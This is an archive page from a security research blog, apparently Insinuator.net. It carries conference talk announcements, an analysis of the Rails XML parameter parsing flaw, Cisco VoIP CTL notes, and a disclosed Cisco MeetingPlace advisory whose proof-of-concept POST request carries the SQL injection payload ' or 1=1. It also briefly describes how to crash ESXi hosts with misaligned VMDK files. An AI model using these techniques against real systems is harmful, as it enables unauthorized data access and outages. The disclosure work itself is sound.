Insinuator.net – Page 70 – Bold Statements

January 10, 2013 by Enno Rey

Troopers 2013 – Second Round of Talks Selected

We’re very happy to announce the second round of Troopers 2013 talks today (first round here).
Some (well, actually most ;-)) of these talks haven’t been presented before, at any other occasion, so this is exciting fresh material which was/is prepared especially for Troopers.

Here we go:

==================

Andreas Wiegenstein & Xu Jia: Ghost in the Shell. FIRST TIME MATERIAL

Synopsis: Security conferences in the past years have made it clear, that common security vulnerabilities such as SQL Injection, XSS, CSRF, HTTP verb tampering and many others also exist in SAP software. This talk covers several vulnerabilities that are unique to SAP systems and shows how these can be used in order to bypass crucial security mechanisms and at the same time operate completely below the (forensic) Radar. We uncovered undocumented mechanisms in the SAP kernel, that allow launching attacks that cannot be traced back to the attacker by forensic means. These mechanisms allow to *actively* inject commands at any time into the running backend-session of an arbitrary logged on user, chosen by the attacker. We named this attack mechanism “Ghost in the Shell”. We will also demo how to use this attack vector to distribute malware to the attacked user’s client machine despite mechanisms in the SAP standard that are designed to prevent this.

Bios: Andreas Wiegenstein has been working as a professional SAP security consultant since 2003. He performed countless SAP code audits and has been researching security defects specific to SAP / ABAP applications. As CTO, he leads the CodeProfiler Research Labs at Virtual Forge, a team focusing on SAP/ABAP specific vulnerabilities and countermeasures. At the CodeProfiler Labs, he works on ABAP security guidelines, ABAP security trainings, an ABAP security scanner as well as white papers and publications. Andreas has trained large companies and defense organizations on ABAP security and has spoken at SAP TechEd on several occasions as well as at security conferences such as Troopers, BlackHat, HITB, RSA as well as many smaller SAP specific conferences. He is co-author of the first book on ABAP security (SAP Press 2009). He is also member of BIZEC.org [LINK], the Business Security Community.

Xu Jia is researching SAP security topics since 2006. His focus is on static code nalysis for ABAP and he is the lead architect for a commercial SCA tool. Working in the CodeProfiler Research Labs at Virtual Forge, he also analyzes (ABAP) security defects in SAP standard software. Xu has submitted a significant number of 0-days to SAP, including multiple new forms of attack that are specific to SAP software. He already presented some of his research at the 16th IBS security conference, 2012 in Hamburg.

Continue reading “Troopers 2013 – Second Round of Talks Selected”

Breaking

January 8, 2013 by Felix Wilhelm

Analysis of Rails XML Parameter Parsing Vulnerability

This post tries to give an overview about the background and impact of the new Rails XML parameter parsing vulnerability patched today.

The bug

The root cause of the vulnerability is Rails handling of formatted parameters. In addition to standard GET and POST parameter formats, Rails can handle multiple different data encodings inside the body of POST requests. By default JSON and XML are supported. While support for JSON is widely used in production, the XML functionality does not seem to be known by many Rails developers.

XML parameter parsing

The code responsible for parsing these different data types is shown below:

# actionpack/lib/action_dispatch/middleware/params_parser.rb 
....
DEFAULT_PARSERS = {
      Mime::XML => : xml_simple,
      Mime::JSON => :json
    }
....
def parse_formatted_parameters(env)
        ...
        when Proc
          strategy.call(request.raw_post)
        when : xml_simple, : xml_node
          data = Hash.from_xml(request.raw_post) || {}
          data.with_indifferent_access
        when :yaml
          YAML.load(request.raw_post)
        when :json
          data = ActiveSupport::JSON.decode(request.raw_post)
          data = {:_json => data} unless data.is_a?(Hash)
          data.with_indifferent_access
        else
          false
        end
...

Continue reading “Analysis of Rails XML Parameter Parsing Vulnerability”

Breaking

January 3, 2013 by Daniel Mende

All Your Calls Are Still Belong to Us – continued

Hi again and a happy new year 2013!

Lets continue were I left you the last time.

The CTL

The CTL is basically a binary TLV file with 1 byte type, followed by 2 bytes length and finally the data. But as this is far to easy, some special fields omit the length field and just place the data after the type (I guess those are fields with a fixed length). Here is an example CTL file:

Red fields are the types (counting up), green fields are the length (note the missing length on some fileds) and the purple field contains the data (in this case data with a length of 8 bytes and a type 0x05, which is the signing cert serial number btw. [and yes, this is a real example; Cisco signs phone loads with this ‘random’ cert]).

The CTL contains a header with types from 0x01 to 0x0f which is padded with 0x0d. The same header is used for the signed files .sgn from the TFTP server later on. The header describes the file version, the header length, the certificate the file is signed by (further called Signing Cert), the corresponding Certificate Authority, the file name, the files time stamp and finally the signature. The header is followed by multiple cert entries, which again use types 0x01 to 0x0f. The cert entry contains a role field 0x04 which describes the use of the cert. We are interested in the CAPF cert (0x04) and the Call Manager cert (0x02).
Continue reading “All Your Calls Are Still Belong to Us – continued”

Breaking

December 27, 2012 by Daniel Mende

All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution

Some of you may have heard the topic before, as we have spoken about on this years BlackHat Europe, TROOPERS12 and HES12, so this is nothing completely new, but as we’re done with responsible disclosure (finally (-; ) and all the stuff should be fixed, we’re going to publish the code that brought us there. I will split the topic into two blog posts, this one will wrap up the setup, used components and protocols, the next one [tbd. till EOY, hopefully] will get into detail on the tools and techniques we used to break the enterprise grade security.

The Components

First lets take a look on all the components involved in the setup:

As you can see in the picture, there are a lot of components and even more certificates involved. From left to right: Continue reading “All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution”

Events

December 23, 2012 by Enno Rey

Troopers 2013 – First Round of Talks Selected

We’re delighted to provide the first announcement of talks of next year’s Troopers edition. Looks like it’s going to be a great event again 😉
Here we go:

==================

Peter Kieseberg: Malicious pixels – QR-codes as attack vectors.

Synopsis: QR-Codes, a version of two-dimensional barcodes that are able to store quite large amounts of information, started gaining huge popularity throughout the last few years, including all sorts of new applications for them. Originating from the area of logistics, they found their ways into marketing and since the rise of modern smartphones with their ability to scan them in the street; they can be found virtually everywhere, often linking to sites on the internet. Currently even standards for paying using QR-codes were proposed and standardized. In this talk we will highlight possible attack vectors arising from the use of QR-Codes. Furthermore we will outline an algorithm for calculating near-collisions in order to launch phishing attacks and we will demonstrate the practical utilization of this technique.

Bio: Peter Kieseberg is a researcher at SBA Research, the Austrian non-profit research institute for IT-Security. He received a Dipl. Ing. (equivalent to MSc) degree in Technical Mathematics in Computer Science from the Vienna University of Technology. His research interests include digital forensics, fingerprinting of structured data and mobile security. Continue reading “Troopers 2013 – First Round of Talks Selected”

Breaking

November 8, 2012 by Daniel Mende

SQL Injection in Cisco MeetingPlace

Cisco has released a security advisory for a vulnerability we discovered last year.
For comparison here is our original advisory to cisco:

Security Advisory for Cisco Unified Communications Solution

Release Date: 11/8/2012
Author: Daniel Mende

1 SUMMARY
Multiple critical SQL injections exist in Cisco unified meeting place.

2 AFFECTED PRODUCTS
The following Products have been tested as vulnerable so far:
Cisco Unified Meetingplace with the following modules:
• MeetingPlace Agent 7.1.1.9
• MeetingPlace Audio Service 7.1.1.8
• MeetingPlace Gateway SIM 7.1.1.2
• MeetingPlace Replication Service 7.1.1.9
• MeetingPlace Master Service 7.1.1.8
• MeetingPlace Extension 7.1.1.8
• MeetingPlace Authentication Filter 7.1.1.8

3 DETAILS
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low

5 PROOF OF CONCEPT
POST /mpweb/scripts/mpx.dll HTTP/1.1
Host: 10.X.X.X
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://10.X.X.X/mpweb/scripts/mpx.dll
Cookie: cookies=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 571

SessionID=A40490A1-AB17-4C1E-BA4A-E3C5C90F62CA.1ED59E5C-A774-4546-8683-
AEB15D6FBD0D.55931857-6296-48ec-9434-3231c683c47d.ADadfjadlkeNmFhmplaihgkdDg
&wcMeetingID=&wcRecurMtgID=‘ or 1=1 —&URL0=wcBase.tpl&TXT0=Startseite&URL1=&
TXT1=&URL2=&TXT2=&URL3=&TXT3=&URL4=&TXT4=&URL5=&TXT5=&MtgCatToSearch=
%28all%2Bcategories%29&ML_PublicPosted=Yes&MtgIDToSearch=0000007&SchedulerID=
&wcRequest=&wcHash=&FormType=listmeetings&wcState=3&STPL=wcFindMtg.tpl&FTPL=
wcFindMtg.tpl&ML_List=MT_Today&ML_EndTime_Month=&ML_EndTime_Day=&ML_End
Time_Year=&ML_ShowContMtgs=Yes&SP_VLanguage=lang999i00

As we are at the topic of Cisco’s Unified Communications Solution, there is a lot more in the queue to come up, just be patient a little longer, it’ll be worth it (-;

cheers

/daniel

Breaking

November 8, 2012 by Daniel Mende

Loki for Windows released

Today is a great day, its the day, Loki finally runs on all big operating systems. Im proud to announce the first Loki release for Windows!

There are a few things not working (yet / at all) under Windows. Those are:

The WLCCP Module – ive not yet managed to build and link against asleap on windows [but time may help (-; ]
TCP-MD5 Auth for BGP – This will never work, as Windows has no TCP-MD5 impl. in the kernel
The MPLS Module – Had some hassle here with WinPcap, may be working in the future

The most testing so far was done on Windows 7 were all the other functions work as they do on Linux and Mac.

Download the installer here [1ebf2edbb0cdb631dc2704e82d9c2d778fac703d].

cheers

/daniel

Breaking

November 3, 2012 by Matthias Luft

VMDK Has Left the Building — Denial of Service

Almost all of our presentations and write-ups on the VMDK File Inclusion Vulnerability contained a slide stating something like

“we’re rather sure that DoS is possible as well ;-)”

including the following screenshot of the ESX purple screen of death:

So it seems like we still owe you that one — sorry for the delay! However the actual attack to trigger this purple screen was rather simple: Just include multiple VMDK raw files that cannot be aligned with 512 Byte blocks — e.g. several files of 512 * X + [0 < Y < 512] Bytes. Writing to a virtual hard drive composed of such single files for a short amount of time (typically one to three minutes, this is what we observed in our lab) triggered the purple screen on both ESXi4 and ESXi5 — at least for a patch level earlier than Releasebuild-515841/March 2012: it seems like this vulnerability was patched in Patch ESXi500-201203201-UG.

Enjoy,

Pascal & Matthias

Events

November 1, 2012 by Pascal Turbing

Back from DayCon VI

Two weeks ago we had a great time at Day-Con VI. Enno, Matthias, Rene, Frank and me traveled to Dayton, OH to give workshops and presentations. We started a tough week full of workshops on Tuesday where Rene gave a deep inside look into the world of security on current mobile platforms. Matthias discussed security problems and possible design patterns of cloud environments in his Cloud & Virtualization Security Workshop before he gave a first insight into the world of reverse engineering on Wednesday. Frank and me taught the basics of hacking and pentesting in the PacketWars bootcamp (comparable to the one at TROOPERS), preparing the participants for the PacketWars on Saturday. Obviously we were not the only ones having a great time 😉

During the main conference day on Friday several talks about trust, gaining trust and measuring trustworthiness took place. As one could write books about the whole trust issue, Dr. Piotr Cofta did exactly this and hence was a perfect choice for the inspiring keynote on basic approaches to measure trust. As we also gave several talks throughout the day, you can find our material both on the Day-Con website and in our newsfeed.

We enjoyed our time in Dayton & see you there next year,
Pascal

The bug

XML parameter parsing

The CTL

The Components

Security Advisory for Cisco Unified Communications Solution

Release Date: 11/8/2012 Author: Daniel Mende

1 SUMMARY Multiple critical SQL injections exist in Cisco unified meeting place.

3 DETAILS The following parameters are affected: http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING The severity rating based on CVSS Version 2: Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P) CVSS Version 2 Score: 6.5 Severity: Low

Release Date: 11/8/2012
Author: Daniel Mende

1 SUMMARY
Multiple critical SQL injections exist in Cisco unified meeting place.

3 DETAILS
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low